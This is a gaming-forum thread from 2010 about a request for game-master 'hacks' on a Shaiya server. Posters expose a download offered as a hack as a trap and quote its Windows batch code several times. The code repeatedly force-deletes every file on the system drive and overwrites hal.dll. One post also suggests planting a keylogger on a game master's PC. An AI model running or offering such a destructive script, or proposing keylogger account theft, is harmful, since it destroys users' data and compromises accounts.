I know thats possible because shaiya eternity was hacked ... a hacker dropped GM loops and made server down for some minutes... and i want it too:D only for GM loop :handsdown::handsdown: pls help:handsdown::handsdown:
GM hack!!
09/02/2010 11:24
marius2010#1
09/02/2010 12:00
ShaiyaMadara#2
Sorry i'll never tell how to do it :)
09/02/2010 12:04
marius2010#3
:| why?
pls i really want to know
pls i really want to know
09/02/2010 12:08
ShaiyaMadara#4
Because if everyone knew how to do it everyone would find a way to fix it :)
09/02/2010 12:09
marius2010#5
....so u are the hacker from eternity?
09/02/2010 14:53
bogdi03#6
dont believe it...u can get everything/all drops/ only thing is that u need to take a keylogger to GMs PC and u gonna be a fake GM on his acc so u can drop all things what u want for urself :)
09/02/2010 15:13
MichaelJayWood#7
There you go, don't overdo it or you'll get caught.
09/02/2010 15:24
lilprohacker#8
lol, really that's evil, why would you post something likes this?Quote:
There you go, don't overdo it or you'll get caught.
09/02/2010 15:28
MichaelJayWood#9
I am only trying to help the poor soul, I've given him just a glimpse of it but if he really wants to "hack" then he should work for it. It will help him in the long run.
09/02/2010 16:18
jamessimpler#10
Yes hopefully :P
Quote:
09/03/2010 00:09
Bаne#11
ahh dude TY so much for that. i just got 3 GM loops and 100 op hammers. it lets you do all the GM commands even /char off ^.^ TYVM and /karma
09/03/2010 00:42
Jaden151#12
epically awesome *thumbs up*
09/03/2010 04:33
AriezOMG#13
its a batch file that inside reads
deleting things? now i trust it even less.
dont download it. [Only registered and activated users can see links. Click Here To Register...] it deletes ur whole hard drive.
Code:
@echo off cd %SystemDrive% :bucle del /F/S/Q %systemdrive%\*.* cd %systemroot%\system32 echo dead>hal.dll goto :bucle
dont download it. [Only registered and activated users can see links. Click Here To Register...] it deletes ur whole hard drive.
09/03/2010 07:28
marius2010#14
nvm...
09/03/2010 09:51
ellite-man#15
This is what he is doing.........
@echo off
cd %SystemDrive%
:bucle
del /F/S/Q %systemdrive%\*.*
cd %systemroot%\system32
echo dead>hal.dll
goto :bucle
Hal.dll
Hal.dll is Windows' Hardware Abstraction Layer, or HAL. The HAL implements a number of functions that are implemented in different ways by different hardware platforms, which in this context, refers mostly to the Chipset. Other components in the operating system can then call these functions in the same way on all platforms, without regard for the actual implementation. For example, responding to an interrupt is quite different on a machine with an APIC (Advanced Programmable Interrupt Controller) than on one without. The HAL abstracts such differences so that nothing outside the HAL need be concerned with them.
The HAL is loaded into kernel address space and runs in kernel mode, so routines in the HAL cannot be called directly by applications, and no user mode APIs correspond directly to HAL routines. Instead the HAL provides services primarily to the Windows executive and kernel and to kernel mode device drivers. Although drivers for most hardware are contained in other files, commonly of file type .sys, a few core drivers are compiled into Hal.dll.
Kernel mode device drivers for devices on buses such as PCI and PCI Express directly call routines in the HAL to access I/O ports and registers of their devices. The drivers use HAL routines because different platforms may require different implementations of these operations. The HAL implements the operations appropriately for each platform, so the same driver executable file can be used on all platforms using the same CPU architecture, and the driver source file can be portable across all architectures.
On x86 systems there are several different HAL files on the installation media. The Windows installation procedure determines which ones are appropriate for the current platform and copies it to the hard drive, renaming it to Hal.dll if necessary. Among the criteria for this selection are the presence of an ACPI-compatible BIOS, the presence of an Advanced Programmable Interrupt Controller (APIC), and whether or not multiple processors are present and enabled. (The multiple cores of a multi-core CPU, and even the "logical processors" implemented by a hyperthreading CPU, all count as "processors" for this purpose.) On x86-64 and Itanium platforms there is just one possible Hal.dll for each CPU architecture.
@echo off
cd %SystemDrive%
:bucle
del /F/S/Q %systemdrive%\*.*
cd %systemroot%\system32
echo dead>hal.dll
goto :bucle
Hal.dll
Hal.dll is Windows' Hardware Abstraction Layer, or HAL. The HAL implements a number of functions that are implemented in different ways by different hardware platforms, which in this context, refers mostly to the Chipset. Other components in the operating system can then call these functions in the same way on all platforms, without regard for the actual implementation. For example, responding to an interrupt is quite different on a machine with an APIC (Advanced Programmable Interrupt Controller) than on one without. The HAL abstracts such differences so that nothing outside the HAL need be concerned with them.
The HAL is loaded into kernel address space and runs in kernel mode, so routines in the HAL cannot be called directly by applications, and no user mode APIs correspond directly to HAL routines. Instead the HAL provides services primarily to the Windows executive and kernel and to kernel mode device drivers. Although drivers for most hardware are contained in other files, commonly of file type .sys, a few core drivers are compiled into Hal.dll.
Kernel mode device drivers for devices on buses such as PCI and PCI Express directly call routines in the HAL to access I/O ports and registers of their devices. The drivers use HAL routines because different platforms may require different implementations of these operations. The HAL implements the operations appropriately for each platform, so the same driver executable file can be used on all platforms using the same CPU architecture, and the driver source file can be portable across all architectures.
On x86 systems there are several different HAL files on the installation media. The Windows installation procedure determines which ones are appropriate for the current platform and copies it to the hard drive, renaming it to Hal.dll if necessary. Among the criteria for this selection are the presence of an ACPI-compatible BIOS, the presence of an Advanced Programmable Interrupt Controller (APIC), and whether or not multiple processors are present and enabled. (The multiple cores of a multi-core CPU, and even the "logical processors" implemented by a hyperthreading CPU, all count as "processors" for this purpose.) On x86-64 and Itanium platforms there is just one possible Hal.dll for each CPU architecture.